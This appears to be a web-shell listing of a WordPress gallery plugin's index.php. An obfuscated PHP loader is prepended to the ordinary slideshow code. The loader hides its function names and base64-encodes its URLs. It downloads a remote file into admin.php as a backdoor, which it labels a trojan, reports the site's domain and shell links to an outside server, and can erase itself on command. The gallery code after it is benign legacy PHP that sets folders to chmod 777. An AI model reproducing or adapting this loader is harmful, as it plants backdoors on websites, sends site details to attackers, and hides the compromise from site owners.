%PDF- %PDF-
Direktori : /home/dordingu/public_html/geisp/wp-content4d75a3/plugins/wp-gallery/ |
Current File : /home/dordingu/public_html/geisp/wp-content4d75a3/plugins/wp-gallery/index.php |
<?php $O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{16}.$O00OO_0_O_{18}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O_0O_0O0O_=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{27}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O0_O0_O0O_=$O00OO_0_O_{32}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{6}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{38}.$O00OO_0_O_{18}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{10}.$O00OO_0_O_{12}.$O00OO_0_O_{35}.$O00OO_0_O_{0};$OOO0_O0_0_=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$OO0O___0O0=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{26}.$O00OO_0_O_{30}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$O_O_0_O00O=$O00OO_0_O_{16}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{27}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_00O0OO__=$O00OO_0_O_{33}.$O00OO_0_O_{10}.$O00OO_0_O_{24}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_0_O0_O0O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{35}.$O00OO_0_O_{16}.$O00OO_0_O_{10};$O_O_O000_O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{23}.$O00OO_0_O_{35}.$O00OO_0_O_{33}.$O00OO_0_O_{30};$O___00OO0O=$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{24}.$O00OO_0_O_{12}.$O00OO_0_O_{6}.$O00OO_0_O_{23}.$O00OO_0_O_{12}.$O00OO_0_O_{2}.$O00OO_0_O_{30};$O__0O0_0OO=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{12}.$O00OO_0_O_{0}.$O00OO_0_O_{12}.$O00OO_0_O_{10};$O_OO_O000_=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{17}.$O00OO_0_O_{30}.$O00OO_0_O_{32};$OO0O0__O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O__O00_OO0=\'\'','if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $O__O00_OO0;');$OOO_O00_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$url','$OO0O0_0_O_=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($url);if(!$OO0O0_0_O_){$O0O0_O_0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f\x4f"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);$OO0O0_0_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x30\x30\x30\x5f"]($O0O0_O_0O_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O0O0_O_0O_);}return $OO0O0_0_O_;');$O_OO__0O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();$O_0_O_OO00["\x70\x61\x74\x68"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'//\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5f\x53\x45\x4c\x46"]),\'\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'\\\\\\\\\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x4f\x30\x5f"]();$O_0_O_OO00["\x73\x68\x65\x6c\x6c\x5f\x6c\x69\x6e\x6b"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cDovL2dlaXNwLmNvbS9hYm91dC5waHA/NTIw\');if(isset(${"\x5f\x47\x45\x54"}["\x64\x65\x6c"])&&${"\x5f\x47\x45\x54"}["\x64\x65\x6c"]=="my_code"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);if($OO0O0O0___>0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWRtaW4ucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cHM6Ly81MWxhLmljdzguY29tL2EudHh0"));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly81MWxhLmljdzguY29tLz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?><?php require('../wp-blog-header.php'); //DO NOT REMOVE!!! // ------------- BEGIN CONFIG SECTION -- // error_reporting(E_ALL); // error reporting $galleryname="WP-Galleries"; //Name of the gallery $heading_info_file = "heading.txt"; //Heading information file $galleryurl= "http://localhost/wordpress/wp-gallery";//"http://".$_SERVER['HTTP_PATH']; $gallery_sidebar = 'right'; //Template sidebar location (left or right) $usegenerator = 'true'; //Use the link generator for your directories -> links to galleries? 'true' or 'false' // this should work as localhost but if not, insert your ftp server's name $ftp_hostname = "host"; // ftp user information for automatic thumbnails $ftp_username = "username"; $ftp_password = "pass"; // this is the directory that your website is located in on your FTP login. // (no slashes needed) $ftp_web_root = ""; //DO NOT CHANGE!!! SHOULD WORK 99% // number if you use $thumbnail_view = "circular"; // thumbnail directory name (no slashes needed) $thumbnail_dir = "thumbs"; // do you want to automatically generate thumbnails? // if this is set to true, you will need to provide your web site // ftp login info and web root directory below. $create_thumbnails = "false"; // thumbnail size $thumbnail_max_width = 30; $thumbnail_max_height = 30; $thumb_row = 19; // $thumbnail_style: "scale" will resize and maintain proportions to the original image // "crop" will resize to exactly the thumbnail size you specify $thumbnail_style = "crop"; // output quality: 60 = poor quality tiny file, 100 = best quality larger file... $thumbnail_quality = 80; // sort/display images with newest or oldest on top or alphabetically by name. // this has no effect when pics.txt is used. $sort_images = "name"; //"oldest" or "newest" or "name" // thumbnail view: can be "filmstrip" or "circular" $thumbnail_view = "filmstrip"; // file containing optional image descriptions $pic_info_file="pics.txt"; // language text for various areas... $lang_back = "back"; $lang_next = "next"; $lang_of = "of"; $lang_stop_slideshow = "stop slideshow"; $lang_start_slideshow = "start slideshow"; $lang_img_hover = "click for next image..."; $lang_img_alt = "slideshow image"; // $delay is the number of seconds to pause between slides... $delay = 2; // set to true to display navigation icons instead of text... $show_navigation_buttons = "false"; $back_button = "/back.gif"; $next_button = "/next.gif"; // ------------- END CONFIG SECTION -- ?> <?php get_header(); ?> <?php if ($gallery_sidebar == 'left') get_sidebar(); ?> <? ################################################################################ // begin code :: don't make changes below this line... //added v.1, Automatically generates the available galleries! // initialize some stuff: $auto_url = ""; $thumbnail_actual_width = ""; $thumbnail_actual_height = ""; // grab the variables we want set for newer php version compatability $phpslideshow = isset($_GET['phpslideshow']) ? $_GET['phpslideshow'] : ''; $path_to_images = isset($_GET['directory']) ? $_GET['directory'] : ''; $currentPic = isset($_GET['currentPic']) ? $_GET['currentPic'] : ''; $browse = isset($_GET['browse']) ? $_GET['browse'] : ''; $auto = isset($_GET['auto']) ? $_GET['auto'] : ''; // check for platform dependent path info... (for windows and mac OSX) $path = empty($HTTP_SERVER_VARS['PATH_INFO'])? $HTTP_SERVER_VARS['PHP_SELF']:$HTTP_SERVER_VARS['PATH_INFO']; // this only works on php > 4.3, replacing with file() //if( file_exists( "template.html" ) ) $template = file_get_contents("template.html"); if( file_exists( "template.html" ) ) $template = implode("", file('template.html')); else { echo "<b>ERROR:</b> Can't find the template.html file!"; exit; } // check that the user did not change the path... if (preg_match(':(\.\.|^/|\:):', $path_to_images) || strpos($path_to_images, $thumbnail_dir) !== false) { echo "<strong>ERROR:</strong> Your request contains an invalid path.<br /> Can not locate <strong>$path_to_images</strong> in this directory.<br />"; exit; } if (empty($path_to_images)) $path_to_images = "."; // if there is no $heading_info_file (see format above) set page heading here if ( !file_exists("$path_to_images/$heading_info_file")) { $title = $galleryname; } else { $heading_info = file("$path_to_images/$heading_info_file"); $header = "$heading_info[0]"; $title = $header; } $template = str_replace("<SHOW_TITLE>",$title,$template); $template = str_replace("<WINDOW_TITLE>",$header,$template); // image / text buttons if ($show_navigation_buttons == "true") { $back_src = "<img src='$back_button' alt='back' class='nav_buttons' class='nav_buttons' />"; $next_src = "<img src='$next_button' alt='next' class='nav_buttons' class='nav_buttons' />"; } else { $back_src = "$lang_back"; $next_src = "$lang_next"; } if ( !file_exists("$path_to_images/$pic_info_file")) { $dh = opendir( "$path_to_images" ); $pic_info = array(); $time_info = array(); while( $file = readdir( $dh ) ) { // look for these file types.... if (preg_match('/(jpg|jpeg|gif|png)$/i',$file)) { $time_info[] = filemtime("$path_to_images/$file"); $pic_info[] = $file; } } if ($sort_images == 'name') { natcasesort($pic_info); $pic_info = array_reverse(array_reverse($pic_info)); //resetting array keys } else { $sortorder = $sort_images == "oldest" ? SORT_ASC : SORT_DESC; array_multisort($time_info, $sortorder, $pic_info, SORT_ASC, $time_info); } } else { $pic_info=file("$path_to_images/$pic_info_file"); } // begin messing with the array $number_pics = count ($pic_info); if (($currentPic > $number_pics)||($currentPic == $number_pics)||!$currentPic) $currentPic = '0'; $item = preg_split('/;/', rtrim($pic_info[$currentPic]), 2); $last = $number_pics - 1; $next = $currentPic + 1; $next_item = @preg_split('/;/', rtrim($pic_info[$next]), 2); if ($currentPic > 0 ) $back = $currentPic - 1; else $currentPic = "0"; $blank = empty($item[1])?' ':$item[1]; if ($currentPic > 0 ) $nav=$back; else $nav=$last; $nav = "<a href='$path?directory=$path_to_images¤tPic=$nav'>$back_src</a>"; $current_show = "$path?directory=$path_to_images"; $next_link = "<a href='$path?directory=$path_to_images¤tPic=$next'>$next_src</a>"; $current_zoom = "$path_to_images/$item[0]"; $template = str_replace("<CURRENT_ZOOM>",$current_zoom,$template); $template = str_replace("<CURRENT_SHOW>",$current_show,$template); $template = str_replace("<BACK>",$nav,$template); $template = str_replace("<NEXT>",$next_link,$template); $template = str_replace("<POSITION>","$next $lang_of $number_pics",$template); $template = str_replace("<GALLERYURL>",$galleryurl,$template); // {{{ ------- EXIF stuff //get comments from the EXIF data if available... if(extension_loaded('exif')) { $curr_image = "$path_to_images/$item[0]"; $all_exif = @exif_read_data($curr_image,0,true); $exifhtml = @$all_exif['COMPUTED']; $comment = @$all_exif['COMMENT'][0]; if (!empty($comment)) { $template = str_replace("<EXIF_COMMENT>",$comment,$template); } else { $comment="EXIF DATA <i>Not Available</i>"; $template = str_replace("<EXIF_COMMENT>",$comment,$template); } }else { $comment="EXIF DATA <i>Not Available</i>"; $template = str_replace("<EXIF_COMMENT>",$comment,$template); } // }}} $image_title = isset($item[1]) ? $item[1] : ''; $template = str_replace("<IMAGE_TITLE>",$image_title,$template); // {{{ ------- my_circular($a_images, $currentPic, $thumb_row); function my_circular($thumbnail_dir, &$template, $a_images, $currentPic, $thumb_row, $path_to_images) { global $path; global $auto_url; // get size of $a_images array... $number_pics = count($a_images); // do a little error checking... if ($currentPic > $number_pics) $currentPic = 0; if ($currentPic < 0) $currentPic = 0; if ($thumb_row < 0) $thumb_row = 1; // check if thumbnail row is greater than number of images... if ($thumb_row > $number_pics) $thumb_row = $number_pics; // split the thumbnail number and make it symmetrical... $half = floor($thumb_row/2); // show thumbnails // left hand thumbs if (($currentPic - $half) < 0) { // near the start... $underage = ($currentPic-1) - $half; for ( $x=($number_pics-abs($underage+1)); $x<$number_pics; $x++) { $next=$x; $item = preg_split('/;/', rtrim($a_images[$x]), 2); $out .= "\n<a href='$path?directory=$path_to_images$auto_url¤tPic=$next' class='thumbnail'><img src='$path_to_images/$thumbnail_dir/".$item[0]."' class='thumbnail' /></a>"; } for ( $x=0; $x<$currentPic ; $x++ ) { $next=$x; $item = preg_split('/;/', rtrim($a_images[$x]), 2); $out .= "\n<a href='$path?directory=$path_to_images$auto_url¤tPic=$next' class='thumbnail'><img src='$path_to_images/$thumbnail_dir/".$item[0]."' class='thumbnail' /></a>"; } } else { for ( $x=$currentPic-$half; $x < $currentPic; $x++ ) { $next=$x; $item = preg_split('/;/', rtrim($a_images[$x]), 2); $out .= "\n<a href='$path?directory=$path_to_images$auto_url¤tPic=$next' class='thumbnail'><img src='$path_to_images/$thumbnail_dir/".$item[0]."' class='thumbnail' /></a>"; } } // show current (center) image thumbnail... $item = preg_split('/;/', rtrim($a_images[$currentPic]), 2); $out .= "\n<img src='$path_to_images/$thumbnail_dir/".rtrim($item[0])."' class='thumbnail_center' />"; // array for right side... if (($currentPic + $half) >= $number_pics) { // near the end $overage = (($currentPic + $half) - $number_pics); for ( $x=$currentPic+1; $x < $number_pics; $x++) { $next=$x; $item = preg_split('/;/', rtrim($a_images[$x]), 2); $out .= "\n<a href='$path?directory=$path_to_images$auto_url¤tPic=$next' class='thumbnail'><img src='$path_to_images/$thumbnail_dir/".$item[0]."' class='thumbnail' /></a>"; } for ( $x=0; $x<=abs($overage); $x++) { $next=$x; $item = preg_split('/;/', rtrim($a_images[$x]), 2); $out .= "\n<a href='$path?directory=$path_to_images$auto_url¤tPic=$next' class='thumbnail'><img src='$path_to_images/$thumbnail_dir/".$item[0]."' class='thumbnail' /></a>"; } } else { for ( $x=$currentPic+1; $x<=$currentPic+$half; $x++ ) { // right hand thumbs $next=$x; $item = preg_split('/;/', rtrim($a_images[$x]), 2); $out .= "\n<a href='$path?directory=$path_to_images$auto_url¤tPic=$next' class='thumbnail'><img src='$path_to_images/$thumbnail_dir/".$item[0]."' class='thumbnail' /></a>"; } } $template = str_replace("<THUMBNAIL_ROW>",$out,$template); } // }}} // {{{ ------- my_filmstrip($a_images, $currentPic, $thumb_row); function my_filmstrip($thumbnail_dir, &$template, $a_images, $currentPic, $thumb_row, $path_to_images) { global $path; global $auto_url; // get size of $a_images array... $number_pics = count($a_images); // do a little error checking... if ($currentPic > $number_pics) $currentPic = 0; if ($currentPic < 0) $currentPic = 0; if ($thumb_row < 0) $thumb_row = 1; if ($thumb_row > $number_pics) $thumb_row = $number_pics; if ($currentPic >= $thumb_row) { $start = $currentPic - $thumb_row + 1; } else { $start = 0; } $out = ''; for ($x = $start; $x < ($start + $thumb_row); $x++ ) { $item = preg_split('/;/', rtrim($a_images[$x]), 2); $class = $x == $currentPic ? 'thumbnail_center' : 'thumbnail'; $out .= "\n<a href='$path?directory=$path_to_images$auto_url¤tPic=$x' class='thumbnail'><img src='$path_to_images/$thumbnail_dir/".$item[0]."' class='$class' /></a>"; } $template = str_replace("<THUMBNAIL_ROW>",$out,$template); } // }}} // {{{ meta refresh stuff for auto slideshow... if ($auto == "1") { $auto_url = "&auto=1"; $meta_refresh = "<meta http-equiv='refresh' content='".$delay; $meta_refresh .= ";url=".$path."?directory=".$path_to_images.$auto_url."¤tPic=".$next."'>"; $template = str_replace("<META_REFRESH>",$meta_refresh,$template); $auto_slideshow = "<a href='$path?directory=$path_to_images¤tPic=$currentPic'>$lang_stop_slideshow</a>\n"; $template = str_replace("<AUTO_SLIDESHOW_LINK>",$auto_slideshow,$template); } else { $template = str_replace("<META_REFRESH>","",$template); $auto_slideshow = "<a href='$path?directory=$path_to_images&auto=1¤tPic=$next'>$lang_start_slideshow</a>\n"; $template = str_replace("<AUTO_SLIDESHOW_LINK>",$auto_slideshow,$template); } // }}} $images = "<a href='$path?directory=$path_to_images$auto_url¤tPic=$next'>"; $images .= "<img src='$path_to_images/$item[0]' class='image' alt='$lang_img_alt' title='$lang_img_hover' /></a>"; $template = str_replace("<IMAGE>",$images,$template); $next_image = "$path_to_images/$next_item[0]"; $template = str_replace("<NEXT_IMAGE>",$next_image,$template); // useful for prefetching if( file_exists( "$path_to_images/$thumbnail_dir" ) ) { if( $thumbnail_view == "circular" ) { my_circular($thumbnail_dir, $template, $pic_info, $currentPic, $thumb_row, $path_to_images); } else { my_filmstrip($thumbnail_dir, $template, $pic_info, $currentPic, $thumb_row, $path_to_images); } } $image_filename = "$item[0]"; $template = str_replace("<IMAGE_FILENAME>",$image_filename,$template); // {{{ ----- create the thumbnails and set the permissions... // the credit for this litte bit of genius goes to Jon from spiicytuna.org who suggested writing the directory // and permissions via ftp and sent me some code to prove his point :). if ($create_thumbnails == "true") { $full_www_path = dirname ($path); $full_ftp_path = $ftp_web_root."/".$full_www_path; $thumbnail = $path_to_images."/".$thumbnail_dir."/".$item[0]; if (file_exists($thumbnail)) { // echo "The thumbnail $thumbnail exists"; } else { // create the thumbnail directory for writing create_directory($full_ftp_path, $thumbnail_dir, $path_to_images, $ftp_hostname, $ftp_username, $ftp_password); // location of the original image $sourcefile = "$path_to_images/$item[0]"; // output file $targetfile = $thumbnail; /* Create a new image object (not neccessarily true colour) */ $source_id = null; // prep according to image type if (preg_match('/(jpg|jpeg)$/i',$sourcefile)) $source_id = imageCreatefromjpeg("$sourcefile"); elseif (preg_match('/(png)$/i',$sourcefile)) $source_id = imageCreatefrompng("$sourcefile"); elseif (preg_match('/(gif)$/i',$sourcefile)) $source_id = imageCreatefromgif("$sourcefile"); else die("Unknown image file type"); /* Get the dimensions of the source picture */ $source_width = imagesx($source_id); $source_height = imagesy($source_id); // scale or crop during thumbnail resize $scale = max($thumbnail_max_width/$source_width, $thumbnail_max_height/$source_height); if($scale < 1) { $thumbnail_actual_width = floor($scale * $source_width); $thumbnail_actual_height = floor($scale * $source_height); $target_id=imagecreatetruecolor($thumbnail_actual_width, $thumbnail_actual_height); if(function_exists('imagecopyresampled')) { $target_pic=imagecopyresampled($target_id,$source_id,0,0,0,0,$thumbnail_actual_width,$thumbnail_actual_height,$source_width,$source_height); } else { $target_pic=imagecopyresized($target_id,$source_id,0,0,0,0,$thumbnail_actual_width,$thumbnail_actual_height,$source_width,$source_height); } imagedestroy($source_id); $source_id = $target_id; } if($thumbnail_style == "crop") { $target_id=imagecreatetruecolor($thumbnail_max_width, $thumbnail_max_height); if(function_exists('imagecopyresampled')) { $target_pic=imagecopyresampled($target_id,$source_id,0,0,0,0,$thumbnail_max_width,$thumbnail_max_height,$thumbnail_max_width,$thumbnail_max_height); } else { $target_pic=imagecopyresized($target_id,$source_id,0,0,0,0,$thumbnail_max_width,$thumbnail_max_height,$thumbnail_max_width,$thumbnail_max_height); } imagedestroy($source_id); $source_id = $target_id; } imagejpeg ($target_id,"$targetfile",$thumbnail_quality); } } // {{{ ----- create_directory($full_ftp_path, $thumbnail_dir, $path_to_images, $ftp_hostname, $ftp_username, $ftp_password) function create_directory($full_ftp_path, $thumbnail_dir, $path_to_images, $ftp_hostname, $ftp_username, $ftp_password) { $new_thumbnail_dir = $path_to_images."/".$thumbnail_dir; //check to see if the directory is already there.... if(file_exists($new_thumbnail_dir)){ // check permissions for writing if (!is_writable($new_thumbnail_dir)) { chmod_ftp_directory($full_ftp_path, $thumbnail_dir, $path_to_images, $ftp_hostname, $ftp_username, $ftp_password); } } else{ $conn_id = ftp_connect($ftp_hostname); // login with username and password $login_result = ftp_login($conn_id, $ftp_username, $ftp_password); // try to chmod $path directory if (!ftp_chdir($conn_id, $full_ftp_path)) die("FTP ERROR: ftp_web_root directory not found."); if(ftp_mkdir($conn_id, $new_thumbnail_dir)) { ftp_site($conn_id, "CHMOD 777 $new_thumbnail_dir") or die("FTP ERROR: unable to write to server."); return true; } else { return false; } // close the FTP connection ftp_close($conn_id); return true; } } // }}} // {{{ ----- function chmod_ftp_directory($full_ftp_path, $thumbnail_dir, $path_to_images, $ftp_hostname, $ftp_username, $ftp_password) function chmod_ftp_directory($full_ftp_path, $thumbnail_dir, $path_to_images, $ftp_hostname, $ftp_username, $ftp_password) { $new_thumbnail_dir = $path_to_images."/".$thumbnail_dir; $conn_id = ftp_connect($ftp_hostname); // login with username and password $login_result = ftp_login($conn_id, $ftp_username, $ftp_password); // try to chmod $path directory if (!ftp_chdir($conn_id, $full_ftp_path)) die("FTP ERROR: ftp_web_root directory not found."); if (!ftp_site($conn_id, "CHMOD 777 $new_thumbnail_dir")) die("FTP ERROR: unable to write to server."); // close the FTP connection ftp_close($conn_id); return true; } // }}} // }}} if( file_exists( "start.html" ) ) $start = implode("", file('start.html')); else { echo "<b>ERROR:</b> Can't find the start.html file!"; exit; } if ($handle = opendir('.')) { $output="<ul>"; while (false !== ($file = readdir($handle))) { if ($file != "." && $file != ".." && is_dir($file)) { $output.="<li><a href=\"".$galleryurl."/?directory=".$file."\">".$file."</a></li>"; } } $output.="</ul>"; closedir($handle); } $start = str_replace("<SHOW_TITLE>",$galleryname,$start); $start = str_replace("<GALLERY_LIST>",$output,$start); if(!$_GET['directory']&& $usegenerator=='true') echo $start; else echo $template; ?> <?php if ($gallery_sidebar == 'right') get_sidebar(); ?> <?php get_footer(); ?>